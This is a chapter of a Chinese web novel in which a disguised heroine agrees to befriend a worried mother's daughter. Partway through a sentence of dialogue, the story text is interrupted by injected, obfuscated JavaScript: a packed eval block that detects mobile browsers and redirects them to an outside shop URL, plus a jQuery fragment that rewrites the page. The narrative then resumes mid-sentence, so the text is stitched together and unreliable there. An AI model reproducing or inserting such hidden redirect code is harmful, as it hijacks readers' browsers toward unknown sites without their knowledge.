15.第15章
    徐夫人说的这些,绝对是最轻松的活计了,应该被称作为“玩伴”,只是在她们眼中“贺七娘”还需要守孝,所以明面上不能使用这样的称呼。

    璃娘曾经也有几个手帕交,自小一起长大的玩伴,只是随着大家都嫁做人妇,有些离开了江州,有些家里规矩大,不再像少年时那样有许多相约出门的机会,渐渐的也就没了往来。

    若只是要寻人陪伴,吴家多的是年轻聪慧的女子,有使得一手好绣艺的,有习茶道、花道、香道的,有生了一张巧嘴最能说会道的,也有平凡但安静不生事的,怎么就看中了“贺七娘”?

    但徐夫人恰恰就是觉得,“贺七娘”从外面来,不是生长在吴家这一亩三分地、从未真正入世过的女子,她生在市井,比徐夫人挑拣过的那些人都脚踏实地多了,这才是徐夫人想要给璃娘的玩伴。

    父母之爱子,则为之计深远。

    戚颖在书上学到这一句的时候,年纪尚幼,幼小到什么程度呢,腆着脸说一句“天真”竟还能说是恰当,那时她可真是个小孩子。

    小孩子的喜怒哀乐一向都很直白。戚颖喜欢练武,在演武场上被师傅们摔打一整天,顶着个鼻青脸肿、弄了个浑身酸疼也不会想到放弃,只会越败越勇,一心等着自己变得更强、超越师傅的那一日。

    但她对读书的不喜欢,也是表现的很直接的。

    倒不是说真就这样叛逆,一心想让自己变成个盲流,戚颖只是觉得那些经史子集非常的很不适合自己,一定是师兄师弟拿错了教材,不然怎么三字经和千字文她就学的很快啊。

    小孩子逃避问题的手段也很直白,戚颖毕竟不是个什么都听不懂的蠢材,只是学的慢、学的艰难,但还是能学的。等到学会了她就跑出去寻人背诵,向一路遇见的所有人炫耀自己的学习成果

    当然了,这种逃避甚至都不能算得上是一种计谋,那时师兄还笑骂戚颖是借机偷跑,只是背一两篇文章或是诗词,就可以在外面疯玩上好一会儿,打得精明算盘,也就是仗着大家都纵容她,才能次次都得逞。

    不过,在理解了这句话的含义之后,戚颖再不排斥那可怕的书房,只是可惜,在文道上,她终究没有那种随手拈来、出口成章的天赋。

    那些往事,距今已经很多很多年,本来早该在记忆中变成模糊不清的一段剪影,可此时感受到徐夫人满溢的爱女之情,顷刻就让戚颖想了起来。

    看来我这辈子,注定做不成个文人啦!戚颖在心中向大家撒着娇,又忽然又些想笑。

    总会有这样的劝说,劝说你莫要耽于前尘往事,以免耽搁了前行的脚步,使得此生光阴似箭,回首却是碌碌无为。

    可是如今,脑中浮现出的那些景象如此清晰,犹如发生在昨日,要如何遗忘?

    人的情感,并非是落于纸面上的单薄的墨迹,而是每一笔都深深刻在心上,才有所谓亲朋好友、至交故交的那些浩荡故事。

    戚颖并不觉得自己也会成为某一个传奇故事中的人物,不过,家人留给她的,常让她击破迷惘,此刻,看到徐夫人这样,她亦会心一笑。

    徐夫人这边说了掏心窝子的话,心里却难得有些忐忑。

    她自己是不想要那些多才多艺的吴家婢子,但又心知肚明,“贺七娘”不是可以被呼来喝去的奴婢。

    “贺七娘”不过是客居老宅,其人还要为母亲守孝,本来就很不应该来打扰的,但徐夫人也没法子,她实在很担心璃娘的状态。

    说白了,什么吴家关家,在徐夫人心中,这世上没有任何人、任何东西能够和她的女儿相提并论。

    徐夫人与关家断亲义绝的过程,也远没有她和秦夫人诉苦时说的那样夸张,只是在一开始确实动了手,一路打进关家才把璃娘抢出来,可没了璃娘这个人质,关家又有什么倚仗,能够在二房老爷和徐夫人的手下继续蹦跶下去。

    二房老爷至今还留在杜县,也不过是为了盯着公廨快些判完他们与关家断亲,保证璃娘能够彻底甩脱这堆污糟事。

    然而徐夫人带着璃娘回到吴家老宅,璃娘却没有似从前那般轻松开怀。

    不见愁苦,没有哀思,璃娘当然对关霈已经无情分可言,也不会为他将来的结局好坏浪费感情,但璃娘时常这样神游天外,徐夫人不知道她心里究竟在想着什么。

    因为觉得昔年是他们夫妻轻信了关霈的花言巧语,才让璃娘多受了好多年的苦楚,而人遭逢巨变,或许会一时变了性情,徐夫人根本不敢过问。

    说来好笑,昨日她在秦夫人那里发了一场疯,回到二房原来的院落时,就已经有消息灵通的人赶来献殷勤。

    这里头有个婆子,说自己知道璃娘为何如此,徐夫人见了,可她着实轻浮,竟说璃娘可能是因为思念夫家才会如此,毕竟多年夫妻,不可能相伴的每一刻都是怨怼。

    说出如此恶言,竟还敢沾沾自喜。徐夫人听完恼怒极了,叫人撵了她出去,回来看到璃娘,心里却依旧发愁。

    今日一见“贺七娘”,徐夫人就觉得小姑娘看起来十分顺眼,亦未错过璃娘与她相视而笑的样子,心里便是一动。

    倘若能让“贺七娘”陪着璃娘,年纪相仿的姑娘相处起来,应当能比她这个做母亲的更易敞开心扉。徐夫人倒也不是想多要什么,只怕璃娘这样呆着呆着,一下就想岔了。

    戚颖倒是觉得,就为徐夫人这慈母心,也得应一句。

    她面上带着作为“贺七娘”的些微的惶恐和羞涩,心中尚存因欺瞒身份而产生的愧意,说:“得蒙夫人看重,说是请求,却是言重了。倘若夫人不计较我正在守孝,我和小姐在府中走一走,应是无碍的。”

    “自是无碍,这个家里,璃娘是主人,你亦是客人,哪里有人会来拦着你们。”徐夫人欢喜,“好孩子,是我这边强求了你,但你且放心,璃娘最是安

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13567331|142567||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    静不生事的,只叫她与你做做伴。我还想着来日去了京城,或许还得劳烦你,而之后的日子,虽然都是儿女自己去过,可我亦放不下心来,若是你们合缘,那就再好不过了。”

    徐夫人絮絮叨叨说了一通,俨然是想着若有机会,让她们做个一辈子的手帕交了。

    戚颖心中当时万分惊诧的,竟然不只是“玩伴”。

    她与贺槿来吴家,虽然用的是贺槿的身份,是真正的吴家姨表亲,可是一个多年不曾来往过的远亲,此前也并非与二房有过接触,徐夫人今日只在几句话间,就定下了这么重要的事情?

    或许是她的惊讶和疑惑过于显露了,徐夫人见她这样,还笑说:“你这小姑娘,难道忘记了,你可是吴家的亲戚啊,做什么一副吃惊的模样,难道你还觉得我的璃娘不够格与你交友吗?”

    戚颖道:“这个自然不是。只是,我忽至府上,一来确实叨扰了,二来亦有所求……”

    徐夫人的笑声反而更大了些,这下就让她身上那种柔弱劲儿消减不少:“心里明白的人,我是不讨厌的,但委实不必这样小心。你虽是有所求才来的,但没人说这样就不能做亲戚了吧?你把吴家当亲戚,我也把你当亲戚,你与璃娘先是亲戚关系,称呼一声‘表姐、表妹’的,我又怎么会将你和外人相提并论。说什么求不求的,你又不是有求于我,何必把自己拘在什么报恩的角色中,只管做你自己。将来如何,那还不是得看你们处不处得来嘛。”

    但她是越看越对“贺七娘”满意的,想来璃娘也不会讨厌她,倘若她真能好好陪伴璃娘,将来只要不是相隔了个海角天涯,两人做个手帕交又有何难。

    徐夫人自己最明白一个道理,人性复杂,人有多面,但在这世上,能说一句真心话的人,就已经可以算是一个好人了,至于其他,谁没有秘密,只要这秘密不会变成面向自己的刀锋,那就不必过分求索。

    “所以你答应了,明日,咱们就要和那位璃娘待在一处了?”

    结束了这可称得上是慌乱的一日,人都走了,只剩下戚颖和贺槿两个人。关上院门,贺槿才有机会问出这个问题。

    “那要看那位璃娘愿不愿意来了。”戚颖盘腿坐在床上,正在运气。“不过我见她眉宇间并无什么异色,也不知徐夫人为何如此紧张。”

    混江湖的女侠,素日里都见不到几个悲春伤秋的深闺女子,也很难理解那种越伤怀越将自己困于一方之地的做法,然而戚颖看璃娘,看徐夫人,都不似这样心中有万千愁绪的人啊。

    “关心则乱吧,若是我将来有了女儿,她的一举一动落在我眼中,我也会紧张起任何的一种变化的。”

    更别提二房刚刚踹走了心思险恶的女婿家,让璃娘重获自由,人生境遇大有不同了,当然会担心璃娘总是神游天外,会否是心中存有郁气。

    “但这位徐夫人,真是个奇女子啊。”贺槿再一次感慨。